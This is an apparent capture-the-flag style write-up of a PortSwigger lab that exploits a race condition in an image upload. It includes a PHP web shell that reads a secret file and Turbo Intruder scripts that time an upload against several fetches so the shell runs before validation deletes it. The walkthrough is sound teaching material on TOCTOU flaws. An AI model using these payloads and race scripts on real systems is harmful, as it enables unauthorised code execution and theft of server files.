The lab
here is how portswigger describes it
This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them. To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret. Submit this secret using the button provided in the lab banner. You can log in to your own account using the following credentials:wiener:peter
the new pieces in this lab#
the validation here is solid, we cannot sneak a PHP file past it with any of the earlier content/extension tricks. but the flaw isn't what the server checks, it's when. we attack the timing.
- a race condition is a bug where the outcome depends on the order/timing of events that overlap. if a program does step A then step B, but assumes nothing happens in between, an attacker who acts during that gap can exploit the in-between state.
- here the specific pattern is a TOCTOU bug, "time of check to time of use". the server moves the uploaded file to a web-accessible folder first, then runs a virus/validation check, and only deletes the file if that check fails. so for a brief moment the malicious file exists at a reachable URL before it is validated and removed. if we request it inside that window, it executes.
- Turbo Intruder is a Burp extension built for exactly this: sending many requests with extreme timing precision. it is scriptable in Python and can hold back the final byte of several requests and release them all at once, so they hit the server as close to simultaneously as possible.
- a gate is Turbo Intruder's mechanism for that synchronisation. you queue requests tagged with a gate name; each is sent almost completely but pauses on its last byte. calling
openGatereleases all of them together, minimising the time between them. the plan: fire the upload POST and several GET requests for the file in one tightly-synchronised burst, so some of the GETs land in the window after the file is saved but before validation deletes it.
why the race window exists#
the server's mistake is making the uploaded file reachable before it is trusted. the safe order is check-then-expose: validate the file somewhere private, and only move it to a web-accessible location once it passes. instead this server exposes-then-checks: it writes the file into /files/avatars/, runs the virus scan, and deletes it on failure. between the write and the deletion there is a real, if tiny, interval where our PHP shell sits at a live URL and the server will happily execute it. the validation is never bypassed in the sense of being tricked, it still runs and still deletes our file, we simply get our request in before it finishes. the bug is treating "the file is on disk in the web root" and "the file has been judged safe" as if they happen together, when they are two separate steps with a gap we can hit.
Step 1 - locate the stored-file request#
we log in, upload an image avatar, and go back to our account page. in Proxy > HTTP history we see our image was fetched with GET /files/avatars/<YOUR-IMAGE>. this is the request we will race.

Step 2 - confirm validation blocks the shell#
we create exploit.php reading carlos's secret:
<?php echo file_get_contents('/home/carlos/secret'); ?>
uploading it as our avatar is blocked, and the earlier content/extension tricks don't help either. the validation is robust, so a timing attack is the way in.

Step 3 - set up Turbo Intruder#
we add the Turbo Intruder extension from the BApp store. we right-click the POST /my-account/avatar upload request and choose Extensions > Turbo Intruder > Send to turbo intruder. we paste this script template into Turbo Intruder's Python editor:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

what this script actually does (for newcomers)#
def queueRequests(...)— Turbo Intruder calls this once to build the batch of requests it will fire. think of it as "set up the attack".engine = RequestEngine(...)— creates the sending engine.concurrentConnectionsis how many parallel TCP connections it opens, more connections means the requests can go out closer together.request1/request2— the two raw HTTP requests, pasted in as text between triple quotes'''...'''.request1is the POST that uploads our shell;request2is the GET that fetches it.engine.queue(request1, gate='race1')— queues the upload, but thegate='race1'tag means "get it ready, send everything except the final byte, then pause". the request is now primed and waiting.for x in range(5): engine.queue(request2, gate='race1')— queues the GET request 5 times, each also gated onrace1, each primed and paused on its last byte. we send several GETs because the window is tiny, firing a handful raises the odds one lands inside it.engine.openGate('race1')— releases the held-back final byte of every request taggedrace1at once. all six requests (1 POST + 5 GETs) complete within microseconds of each other, which is what makes the timing tight enough to hit the window.engine.complete(timeout=60)— waits up to 60 seconds for all responses.def handleResponse(req, interesting): table.add(req)— Turbo Intruder calls this for every response received;table.add(req)just lists it in the results grid so we can inspect status codes and bodies. in short: prime one upload and five reads, hold them all on the doorstep, then shove them through the door simultaneously.
Step 4 - fill in the two requests#
we replace <YOUR-POST-REQUEST> with the entire POST /my-account/avatar request that uploads our PHP (copyable from the top of the Turbo Intruder window), making sure the file part carries our PHP body:
------WebKitFormBoundary...
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary...
we replace <YOUR-GET-REQUEST> with a GET for the uploaded file, the proxy-history GET /files/avatars/<YOUR-IMAGE> with the filename in the path changed to exploit.php. we click Attack: one POST uploads the shell, immediately followed by 5 GETs to /files/avatars/exploit.php.
callout, a snag worth noting. running the template above may throw an error. this happens when the older
RequestEngineis given theconcurrentConnectionsargument the way you would with the newerEngine.AUTO. in the current Turbo Intruder, the default engine (Engine.AUTO) manages those connection parameters itself, so you can't setconcurrentConnectionsmanually when it's in play. if you hit the same error, pin the engine explicitly and use this instead:def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) request1 = '''<your POST /my-account/avatar request here>''' request2 = '''<your GET /files/avatars/exploit.php request here>''' # queue the upload, then the reads, all gated engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)

Step 5 - read the secret from a winning request#
in the results list, some of the GET requests return a 200 containing carlos's secret, these hit the server after the PHP was uploaded but before validation failed it and deleted it. we won the race.

Step 6 - submit the secret#
we submit the recovered secret.

with this, the lab is solved!
